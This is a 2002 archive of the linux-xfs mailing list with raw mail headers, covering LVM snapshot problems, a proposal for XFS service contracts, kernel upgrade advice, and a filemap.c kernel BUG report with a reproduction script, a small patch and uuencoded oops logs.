oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GM6vRw014938 for ; Fri, 16 Aug 2002 15:06:57 -0700 Received: from TAZ2 ([66.156.4.66]) by imf16bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816221110.GPUQ23936.imf16bis.bellsouth.net@TAZ2>; Fri, 16 Aug 2002 18:11:10 -0400 Date: Fri, 16 Aug 2002 18:08:23 -0400 From: Greg Freemyer Subject: re[3]: 2 freeze/snapshot questions To: Greg Freemyer , Eric Sandeen cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816221110.GPUQ23936.imf16bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GM6vRw014941 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric, I think I know what I was doing wrong. I had the script I was writing/executing on the filesystem I was trying to snapshot. Bad idea!!!! I have moved my script to a drive I don't need to snapshot, and it seems to be running reliably now. Before I figured this out, I locked up LVM so bad a couple of times that I had to cycle power on the server. :< Greg ========== >> Thanks, >> It is working now. >> I don't have any idea what has changed. >> I know it can't be a typo because I was using a script, and the script has >> not changed. >> I guess I need to put some kind of timeout logic around the create >> snapshot. >> Thanks again >> Greg Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 15:14:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GME4Rw015158 for ; Fri, 16 Aug 2002 15:14:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GME4RO015157 for linux-xfs-outgoing; Fri, 16 Aug 2002 15:14:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GMDvRw015128 for ; Fri, 16 Aug 2002 15:13:57 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA50735 for ; Fri, 16 Aug 2002 17:16:33 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA40616 for ; Fri, 16 Aug 2002 17:16:33 -0500 (CDT) Subject: Anybody interested in service contracts for Linux XFS? From: Eric Sandeen To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 16 Aug 2002 17:16:23 -0500 Message-Id: <1029536184.5560.44.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I've been asked to take the pulse of the commercial XFS users out there, and see if people would be interested, in general, in maintenance / service contracts for Linux XFS. It's not something we have in place now, but there have been a couple of inquiries. If your company depends on XFS for your product, please write me back and let me know: o Does the idea of a service contract interest you? o If not, why not? o If so... o What level of service would you require? (i.e. - what would you expect for your money?) o What's it worth to you? Perhaps this one is not easily answerable, but it might be interesting to get an idea of what you would be willing to exchange for the service level you'd like. And, to the non-commercial users, don't worry, this is -not- the first step towards "proprietizing" XFS, or anything like that. We've just had some companies with XFS in their product, who needed bugs fixed on a different priority then we were able to address, and we're looking for ways that we can help those folks, and generate some revenue at the same time. Oh, and there should probably be some sort of legal disclaimer here that this email does not constitute an offer of services, nothing in this email or your reply is binding in any way... etc... etc. Thanks, -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 16 17:54:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7H0sFRw017282 for ; Fri, 16 Aug 2002 17:54:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7H0sFME017281 for linux-xfs-outgoing; Fri, 16 Aug 2002 17:54:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sunny.pacific.net.au (sunny.pacific.net.au [203.25.148.40]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7H0s6Rw017252 for ; Fri, 16 Aug 2002 17:54:07 -0700 Received: from wisma.pacific.net.au (wisma.pacific.net.au [210.23.129.72]) by sunny.pacific.net.au with ESMTP id g7H0ulvm006239; Sat, 17 Aug 2002 10:56:47 +1000 (EST) Received: from jdc.local (ppp112.dyn230.pacific.net.au [203.100.230.112]) by wisma.pacific.net.au with ESMTP id KAA05659; Sat, 17 Aug 2002 10:56:45 +1000 (EST) Received: from jdc.local (LOCALHOST [127.0.0.1]) by jdc.local (8.12.1/8.12.1/Debian -5) with ESMTP id g7H0uiVF003130; Sat, 17 Aug 2002 10:56:44 +1000 Received: (from jason@localhost) by jdc.local (8.12.1/8.12.1/Debian -5) id g7H0uab1003122; Sat, 17 Aug 2002 10:56:36 +1000 From: Jason White MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15709.40772.578825.458588@jdc.local> Date: Sat, 17 Aug 2002 10:56:36 +1000 To: Eric Sandeen Cc: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: References: <15708.22618.786062.458402@jdc.local> X-Mailer: VM 7.01 under Emacs 20.7.2 Reply-To: jasonw@ariel.ucs.unimelb.edu.au X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Eric Sandeen writes: > On Fri, 16 Aug 2002, Jason White wrote: > > > The kernel I am running is: > > Linux jdc 2.4.17-xfs #1 Sat Jan 19 16:47:16 EST 2002 i686 > > (checked out from cvs on that date). > > > > Any suggestions? > > Hi Jason - Yes, my suggestion would be to please upgrade your kernel > and see if it goes away. I upgraded and the problem appears to have gone - probably the 2.4.17 > mmap issue. After a few further crashes and db_recover operations, > whatever corruption was in the Berkeley db databases was, > presumably, cleaned away; and I haven't experienced any failures since. > I understand that you may not want to bring > your system to 2.4.19 yet, but the XFS that was in 2.4.17 > in the paleolithic days of Jan 2001 is quite different from the code > in CVS today. If you can boot it up for a trial, it would be very > helpful, as we really aren't able to go back to debug 9 month old > code. That's fine. I am one of those who would defend the developers' policy of only supporting the latest code (except perhaps for customers who take out service contracts, but that's a different issue). Thank you for your help and with apologies for adding unnecessary traffic to the list. From owner-linux-xfs@oss.sgi.com Fri Aug 16 18:51:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7H1poRw018547 for ; Fri, 16 Aug 2002 18:51:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7H1poZk018546 for linux-xfs-outgoing; Fri, 16 Aug 2002 18:51:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7H1piRw018518 for ; Fri, 16 Aug 2002 18:51:45 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id UAA51261; Fri, 16 Aug 2002 20:54:22 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id UAA83856; Fri, 16 Aug 2002 20:54:21 -0500 (CDT) Date: Fri, 16 Aug 2002 20:54:10 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Jason White cc: linux-xfs Subject: Re: Are there mmap problems with xfs 2.4.17? In-Reply-To: <15709.40772.578825.458588@jdc.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, 17 Aug 2002, Jason White wrote: > That's fine. I am one of those who would defend the developers' policy > of only supporting the latest code (except perhaps for customers who > take out service contracts, but that's a different issue). > > Thank you for your help and with apologies for adding unnecessary traffic to the > list. No problem at all, glad to know that the bug -did- get fixed. :) Thanks, -Eric From owner-linux-xfs@oss.sgi.com Sat Aug 17 00:06:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7H765Rw020865 for ; Sat, 17 Aug 2002 00:06:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7H7659K020864 for linux-xfs-outgoing; Sat, 17 Aug 2002 00:06:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7H74wRw020790 for ; Sat, 17 Aug 2002 00:04:59 -0700 Received: from corona (corona.splentec.com [209.47.35.254]) by pepsi.splentec.com (8.11.6/8.11.0) with SMTP id g7H77Vs07556; Sat, 17 Aug 2002 03:07:32 -0400 Message-ID: <04b201c245bd$787c4220$d3232fd1@corona> From: "James Lee" To: "Eric Sandeen" Cc: , References: <012301c241cb$16ea8530$fe232fd1@corona> <1029265417.14205.29.camel@stout.americas.sgi.com> Subject: Re: kernel BUG at filemap.c:843! Date: Sat, 17 Aug 2002 03:12:38 -0400 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Spam-Status: No, hits=2.5 required=5.0 tests=PLING,HTTP_USERNAME_USED,HTTP_ESCAPED_HOST version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I did more testing with your patch on top of today's CVS, but the patch didn't help at all. The following is the results of the tests: Testing setup: 1. created a "/dev/md0" with 4 scsi disks 2. created a LVM Volume group "vg" with the "/dev/md0" 3. created a LVM logical volume "vol1" with "vg" 4. created a XFS fs with a command: mkfs.xfs -f -d sunit=8,swidth=8 /dev/vg/vol1 -----------meta-data=/dev/vg/vol1 isize=256 agcount=8, agsize=32767 blks -----------data = bsize=4096 blocks=262136, imaxpct=25 ----------- = sunit=1 swidth=1 blks, unwritten=0 -----------naming =version 2 bsize=4096 -----------log =internal log bsize=4096 blocks=1200, version=1 ----------- = sunit=1 blks -----------realtime =none extsz=65536 blocks=0, rtextents=0 Test results: 1. mount with quota enabled => occasional kernel oops, attached the file oops1 2. mount without quota enabled => occasional kernel oops, attached the file oops2 3. mount without quota enabled, while md device is in degraded mode => always kernel oops, attached the file oops3 Thanks, JLee ----- Original Message ----- From: "Eric Sandeen" To: "James Lee" Cc: ; Sent: Tuesday, August 13, 2002 3:03 PM Subject: Re: kernel BUG at filemap.c:843! > Hi guys - > > We treat MD and LVM somewhat specially, and I wonder if in this case MD > is masking the fact that you're using LVM, and that might be where the > problem starts. > > Can you try this patch, which will cause LVM & MD to be treated the > same, to see if it helps? It's probably not the final solution, but it > might offer some hints. > > Thanks, > > -Eric > > --- linux/fs/xfs/pagebuf/page_buf_locking.c_1.24 Tue Aug 13 14:05:18 2002 > +++ linux/fs/xfs/pagebuf/page_buf_locking.c Tue Aug 13 13:59:37 2002 > @@ -198,7 +196,7 @@ > pagebuf_target_blocksize(target, PAGE_CACHE_SIZE); > > if ((MAJOR(dev) == MD_MAJOR) || (MAJOR(dev) == EVMS_MAJOR)) > - target->pbr_flags = PBR_ALIGNED_ONLY; > + target->pbr_flags = PBR_SECTOR_ONLY; > else if (MAJOR(dev) == LVM_BLK_MAJOR) > target->pbr_flags = PBR_SECTOR_ONLY; > else > > > > On Mon, 2002-08-12 at 01:40, James Lee wrote: > > Hi, > > > > I'm also having the exactly same problem. > > Tested with 2.4.19-xfs(checked out from SGI's CVS on Aug 10) on Redhat 7.2. > > Kernel and userland tools are compiled with gcc 2.91.66 > > The following is the result of some tests: > > > > scsidisks -> xfs: OK > > scsidisks -> raid5 -> xfs: OK > > scsidisks -> lvm -> xfs: OK > > scsidisks -> raid0 -> lvm -> xfs: OK > > scsidisks -> raid1 -> lvm -> xfs: OK > > scsidisks -> raid5 -> lvm -> xfs: kernel BUG at filemap.c:843! > > > > This problem is always reproducible with the following shell script: > > > > #!/bin/sh > > mkraid /dev/md0 > > vgcreate VolumeGroup /dev/md0 > > lvcreate -L1G -nTestVolume VolumeGroup > > mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume > > mount -t xfs /dev/VolumeGroup/TestVolume > > /mnt -onoatime,nodiratime,usrquota,grpquota > > > > Whenever I run the above script, mount command always generates kernel oops. > > But, if I insert some delay as of the following, then mount goes well: > > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 begin 666 oops1.dat M=&5S=&5D.B R+C0N,3DM>&9S("A31TDG7-T96T@8W)E871E9"!O;B!T;W @;V8@ M3%9-("L@340L('-O;65T:6UE6UO;W!S(#(N-"XQ(&]N(&DV.#8@,BXT+C$Y+B @3W!T:6]N6UB;VP@:6YF;W)M871I;VXN("!) M('=I;&P*87-S=6UE('1H870@=&AE(&QO9R!M871C:&5S('1H92!K97)N96P@ M86YD(&UO9'5L97,@=&AA="!A6UO;W!S("UT(&5L9C,R+6DS.#8@ M+6$@:3,X-@I%1DQ!1U,Z(# P,#$P,C0V"F5A>#H@8S$Y969B-# @("!E8G@Z M(&,P,V$W9#$T(" @96-X.B P,# P,# Q-B @(&5D>#H@,# P,# P,# *97-I M.B!C,6,P,&5C8R @(&5D:3H@9C5F,F9F,C @("!E8G Z(# P,# P,# Q(" @ M97-P.B!F-6-D,3DY. ID2MA8R\Q,3 ^"E1R86-E.R!C,#(T-C4X.2 \<&%G96)U9E]I M;W)E<75E&9S7W)E861?8G5F*S-E+V8P M/@I4&9S7W)E861S8BLX,"]C,#X*5')A8V4[(&,P,C-B960T(#QX9G-?8VUO=6YT M9G,K-37-T96U?8V%L;"LS,R\S.#X*0V]D93L@(&,P,3)B9&0V(#QU;FQO8VM? M<&%G92LT-B\W,#X*,# P,# P,# @/%]%25 ^.@I#;V1E.R @8S Q,F)D9#8@ M/'5N;&]C:U]P86=E*S0V+S

&9F9F9F9F5A*"5E8W@I+"5E8W@*0V]D93L@(&,P M,3)B9&1C(#QU;FQO8VM?<&%G92LT8R\W,#X*(" @-CH@(" S-"!C," @(" @ M(" @(" @(" @(" @(" @('AO#0H)65S:2DL)65A> I#;V1E.R @8S Q M,F)D93$@/'5N;&]C:U]P86=E*S4Q+S

&9S("A31TDG7-T96T@=VET:"!Q=6]T82!E;F%B;&5D M+"!C&9S("UF("UD('-U;FET/3@L6]U(&-A;B!G970*;6]R92!A8V-U'!L86EN#H@8S S83=D M,30@("!E8W@Z(# P,# P,#$V(" @961X.B P,# P,# P, IE&9S M7V)U;&MS=&%T*S%B,R]B.# ^"E1R86-E.R!C,#%F,3,Y.2 \>&9S7W%M7W%U M;W1A8VAE8VLK8SDO,34P/@I4&9S7VUO=6YT M9G,K9C!B+S$P,# ^"E1R86-E.R!C,#(S,S9B8B \>&9S7W)E861S8BLS8B]C M,#X*5')A8V4[(&,P,C,S-S P(#QX9G-? I#;V1E.R @8S Q,F)D9#D@/'5N;&]C:U]P86=E*S0Y+S

"DL)65C> I#;V1E.R @8S Q,F)D9&,@/'5N;&]C:U]P86=E*S1C+S

&]R(" @("0P M>&,P+"5A; I#;V1E.R @8S Q,F)D9&4@/'5N;&]C:U]P86=E*S1E+S

"PP>#0H)65S:2D*0V]D93L@(&,P,3)B9&4T(#QU;FQO8VM?<&%G92LU-"\W M,#X*(" @93H@(" W-" Q," @(" @(" @(" @(" @(" @(" @(&IE(" @(" R M," \7T5)4"LP>#(P/B!C,#$R8F1F-B \=6YL;V-K7W!A9V4K-C8O-S ^"D-O M9&4[("!C,#$R8F1E-B \=6YL;V-K7W!A9V4K-38O-S ^"B @,3 Z(" @-6(@ M(" @(" @(" @(" @(" @(" @(" @("!P;W @(" @)65B> I#;V1E.R @8S Q M,F)D93<@/'5N;&]C:U]P86=E*S4W+S

I#;V1E.R @8S Q,F)D M93D@/'5N;&]C:U]P86=E*S4Y+S

&]R(" @("5E87@L*"5E87@I"@H*-B!W87)N:6YG2!N;W0@8F4@&9S("A31TDG7-T96T@8W)E871E9"!O;B!T;W @;V8@ M3%9-("L@340L('=H:6QE($U$(&ES(&EN(&1E9W)A9&5D(&UO9&4@86QW87ES M(&=E;F5R871E&9S("UF("UD('-U;FET/3@L6UO;W!S(#T]/3T] M/3T]/3T]/3T]/3T]/3T]/0IK6US("AD969A=6QT*0H@(" @("UL("]P6US(&5T8RX@(&MS>6UO;W!S("UH(&5X<&QA:6YS('1H92!O M<'1I;VYS+@H*:V5R;F5L($)51R!A="!F:6QE;6%P+F,Z.#0S(0II;G9A;&ED M(&]P97)A;F0Z(# P,# *0U!5.B @(" P"D5)4#H@(" @,# Q,#I;/&,P,3)B M9&0V/ET@(" @3F]T('1A:6YT960*57-I;F<@9&5F875L=',@9G)O;2!K#H@,# P,# P,38@ M("!E9'@Z(# P,# P,# P"F5S:3H@8S%C,#)A8S@@("!E9&DZ(&5F,#EE96,P M(" @96)P.B P,# P,# P,2 @(&5S<#H@968P-F9A-&,*9',Z(# P,3@@("!E M2MA8R\Q,3 ^"E1R86-E.R!C,#(T-C4X.2 \<&%G96)U M9E]I;W)E<75E&9S7W)E861S8BLR,2]C M,#X*5')A8V4[(&,P,C-B9#1E(#QX9G-?8VUO=6YT9G,K,V5E+S8Q,#X*5')A M8V4[(&,P,C-C,#!B(#QX9G-?;6]U;G0K-&(O-C ^"E1R86-E.R!C,#(T968R M-B \;&EN=F9S7W)E861? I#;V1E.R @8S Q,F)D9#D@/'5N;&]C:U]P86=E M*S0Y+S

"DL)65C> I#;V1E.R @8S Q,F)D9&,@/'5N M;&]C:U]P86=E*S1C+S

&]R(" @("0P>&,P+"5A; I#;V1E.R @8S Q,F)D9&4@/'5N;&]C M:U]P86=E*S1E+S

"PP>#0H)65S:2D*0V]D93L@(&,P,3)B9&4T(#QU M;FQO8VM?<&%G92LU-"\W,#X*(" @93H@(" W-" Q," @(" @(" @(" @(" @ M(" @(" @(&IE(" @(" R," \7T5)4"LP>#(P/B!C,#$R8F1F-B \=6YL;V-K M7W!A9V4K-C8O-S ^"D-O9&4[("!C,#$R8F1E-B \=6YL;V-K7W!A9V4K-38O M-S ^"B @,3 Z(" @-6(@(" @(" @(" @(" @(" @(" @(" @("!P;W @(" @ M)65B> I#;V1E.R @8S Q,F)D93<@/'5N;&]C:U]P86=E*S4W+S

I#;V1E.R @8S Q,F)D93D@/'5N;&]C:U]P86=E*S4Y+S

&]R(" @("5E87@L*"5E87@I M"@H]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T]/3T] +/3T]/3T]/3T]/0H` ` end From owner-linux-xfs@oss.sgi.com Sat Aug 17 07:28:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7HESYRw025617 for ; Sat, 17 Aug 2002 07:28:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7HESYOv025616 for linux-xfs-outgoing; Sat, 17 Aug 2002 07:28:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mta05ps.bigpond.com (mta05ps.bigpond.com [144.135.25.137]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7HESQRw025588 for ; Sat, 17 Aug 2002 07:28:27 -0700 Message-Id: <200208171428.g7HESQRw025588@oss.sgi.com> Received: from there ([144.135.25.75]) by mta05ps.bigpond.com (Netscape Messaging Server 4.15 mta05ps May 23 2002 23:53:28) with SMTP id H0ZSBT00.33Z; Sun, 18 Aug 2002 00:31:05 +1000 Received: from CPE-203-51-232-241.qld.bigpond.net.au ([203.51.232.241]) by PSMAM03.mailsvc.email.bigpond.com(MailRouter V3.0n 89/7758558); 18 Aug 2002 00:31:05 Content-Type: text/plain; charset="us-ascii" From: Adrian Head To: Greg Freemyer , Eric Sandeen Subject: Re: re[3]: 2 freeze/snapshot questions Date: Sun, 18 Aug 2002 00:31:00 +1000 X-Mailer: KMail [version 1.3.1] Cc: References: <20020816221110.GPUQ23936.imf16bis.bellsouth.net@TAZ2> In-Reply-To: <20020816221110.GPUQ23936.imf16bis.bellsouth.net@TAZ2> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-2.0 required=5.0 tests=IN_REP_TO,MSG_ID_ADDED_BY_MTA_2 version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Snapshots should be able to be generated on an active filesystem in full flight. If you cannot do that then something is wrong. I have had many issues with LVM snapshots and XFS/xfs_freeze but that was a long time ago (last year and early this year) you might check the archives to see if the issue is something simular. For me I stopped using xfs_freeze and relied on the VFS-lock patch. I did have a problem that was time related. If I ran through snapshots manually everything worked. If I ran exactly the same commands in a script it would die. I don't think anyone was able to work it out. In the end I changed that way I was doing it. > I think I know what I was doing wrong. I had the script I was > writing/executing on the filesystem I was trying to snapshot. > > Bad idea!!!! > > I have moved my script to a drive I don't need to snapshot, and it seems to > be running reliably now. > > Before I figured this out, I locked up LVM so bad a couple of times that I > had to cycle power on the server. :< -- Adrian Head (Public Key available on request.) From owner-linux-xfs@oss.sgi.com Sat Aug 17 09:12:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7HGC5Rw026359 for ; Sat, 17 Aug 2002 09:12:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7HGC5pG026358 for linux-xfs-outgoing; Sat, 17 Aug 2002 09:12:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mailhub-1.iastate.edu (mailhub-1.iastate.edu [129.186.140.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7HGBwRw026330 for ; Sat, 17 Aug 2002 09:11:58 -0700 Received: from mailout-1.iastate.edu (mailout-1.iastate.edu [129.186.140.1]) by mailhub-1.iastate.edu (8.9.3/8.9.3) with SMTP id LAA02549 for ; Sat, 17 Aug 2002 11:14:42 -0500 Received: from tranquility.ee.iastate.edu(129.186.55.210) by mailout-1.iastate.edu via csmap id 25810; Sat, 17 Aug 2002 11:22:25 -0500 (CDT) Message-ID: <3D5E75C4.90007@iastate.edu> Date: Sat, 17 Aug 2002 11:11:48 -0500 From: Joseph Mesterhazy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020607 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: 2.4.19 patches / stability Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello, We have production-level servers running the RH2.4.18+XFS kernel. We have found under heavy load (NFS and samba) the filesystem will lock up completely, the last thing being logged is: Aug 16 08:07:03 phobos smbd[8842]: request_oplock_break: no response received to oplock break request to pid 23785 on port 39505 for dev = 802, inode = 173896 772, file_id = 126 Aug 16 08:07:48 phobos kernel: lease timed out Looking at the patches that went into kernel 2.4.19, there are numerous oplock fixes, and I am hoping this will solve this issue. I see there is a 2.4.19 patch in the XFS download directory. However the README says this is a snapshot of CVS and is for development use only, and I don't see a 2.4.19 Release 1.1 patch.. so I am kind of stuck between a rock and a hard place. Is the 2.4.19 patch considered by most to be "stable", and safe to use? Or is there a 2.4.19 XFS 1.1 patch coming out any time soon? What is the recommended course of action in this case? Thanks, Joe -- Joe Mesterhazy ECpE UNIX Administrator 2101 Coover Hall, Iowa State University Ames, IA 50011. (515) 294-7359 http://joe.mesterhazy.net/ From owner-linux-xfs@oss.sgi.com Sat Aug 17 09:45:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7HGjkRw026790 for ; Sat, 17 Aug 2002 09:45:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7HGjk9G026789 for linux-xfs-outgoing; Sat, 17 Aug 2002 09:45:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7HGjaRw026760 for ; Sat, 17 Aug 2002 09:45:36 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA54950; Sat, 17 Aug 2002 11:48:16 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA93879; Sat, 17 Aug 2002 11:48:15 -0500 (CDT) Date: Sat, 17 Aug 2002 11:47:58 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Joseph Mesterhazy cc: linux-xfs@oss.sgi.com Subject: Re: 2.4.19 patches / stability In-Reply-To: <3D5E75C4.90007@iastate.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Joe - The 2.4.19 snapshot patch is just that, a snapshot. There are no plans to forward-port XFS 1.1 to 2.4.19, although it might not be to bad if you wanted to give it a shot yourself. If you need a newer released version of XFS, we are planning a new release fairly soon, based on 2.4.19, but it will be a few weeks until it is available. OTOH, we have internally tested a CVS kernel from about a month ago fairly heavily, and it did well. If you have a test box that you can evaluate the current CVS on, you may find that it meets your needs. -Eric On Sat, 17 Aug 2002, Joseph Mesterhazy wrote: > Hello, > > We have production-level servers running the RH2.4.18+XFS kernel. We have found > under heavy load (NFS and samba) the filesystem will lock up completely, the > last thing being logged is: > > Aug 16 08:07:03 phobos smbd[8842]: request_oplock_break: no response received > to oplock break request to pid 23785 on port 39505 for dev = 802, inode = 173896 > 772, file_id = 126 > Aug 16 08:07:48 phobos kernel: lease timed out > > Looking at the patches that went into kernel 2.4.19, there are numerous oplock > fixes, and I am hoping this will solve this issue. > > I see there is a 2.4.19 patch in the XFS download directory. However the README > says this is a snapshot of CVS and is for development use only, and I don't see > a 2.4.19 Release 1.1 patch.. so I am kind of stuck between a rock and a hard > place. Is the 2.4.19 patch considered by most to be "stable", and safe to use? > Or is there a 2.4.19 XFS 1.1 patch coming out any time soon? What is the > recommended course of action in this case? > > > Thanks, > > Joe > > -- > Joe Mesterhazy > ECpE UNIX Administrator > 2101 Coover Hall, Iowa State University > Ames, IA 50011. (515) 294-7359 > http://joe.mesterhazy.net/ > > From owner-linux-xfs@oss.sgi.com Sat Aug 17 18:18:06 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7I1I6Rw030824 for ; Sat, 17 Aug 2002 18:18:06 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7I1I5UR030823 for linux-xfs-outgoing; Sat, 17 Aug 2002 18:18:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gum.csee.uq.edu.au (gum.csee.uq.edu.au [130.102.66.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7I1HvRw030793 for ; Sat, 17 Aug 2002 18:17:58 -0700 Received: from nut.csee.uq.edu.au (nut.csee.uq.edu.au [130.102.66.13]) by gum.csee.uq.edu.au (8.12.5/8.12.5) with ESMTP id g7I1KcnW017114; Sun, 18 Aug 2002 11:20:38 +1000 (EST) Received: from mango.csee.uq.edu.au (mango.csee.uq.edu.au [130.102.66.4]) by nut.csee.uq.edu.au (8.11.6/8.11.6) with ESMTP id g7I1KcY07330; Sun, 18 Aug 2002 11:20:38 +1000 (EST) Date: Sun, 18 Aug 2002 11:20:38 +1000 (EST) From: Chris Pascoe X-X-Sender: chrisp@mango.csee.uq.edu.au To: Joseph Mesterhazy cc: linux-xfs@oss.sgi.com Subject: Re: 2.4.19 patches / stability 